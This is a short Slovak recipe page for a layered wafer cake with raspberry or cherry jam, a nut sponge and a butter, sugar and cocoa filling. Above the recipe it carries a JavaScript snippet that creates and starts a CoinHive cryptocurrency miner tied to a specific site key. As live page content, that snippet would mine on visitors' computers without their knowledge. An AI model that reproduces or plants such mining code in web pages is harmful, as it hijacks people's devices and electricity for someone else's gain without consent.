

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```



Potrebueme: oblátky, lekvár (malinový) alebo džem (višňový), 5 PL múky (Mix C) mierne zarovnané, 12 PL mletých orechov (kopcovité), 1 prášok do pečiva, 6 vajec, 20 dkg práškového cukru

Postup: Na plech poukladáme celé oblátky, natrieme ich lekvárom alebo džemom. Do misky si pripravíme múku, orechy a prášok do pečiva. Z bielkov ručne vyšľaháme do polovice sneh, pridáme cukor a sneh šľaháme ďalej, pridáme po 1 žítku, primiešame pripravenú múkovo-orechovú zmes. Po premiešaní vylejeme na oblátku a pečieme v predhriatej rúre na 180°C cca 8 minút, potom dopekáme pri 150°C.

Plnka: 25 dkg masla, 20 dkg práškového cukru, 2 celé vajcia, kúsok čokolády na strúhanie, 3 ČL kakaa

Postup: Vymiešame maslo v mixéri, pridáme cukor a dobre miešame minimálne 20 minút, potom pridáme 2 celé vajcia a premiešame. Na upečený koláč natrieme plnku a postrúhame čokoládu.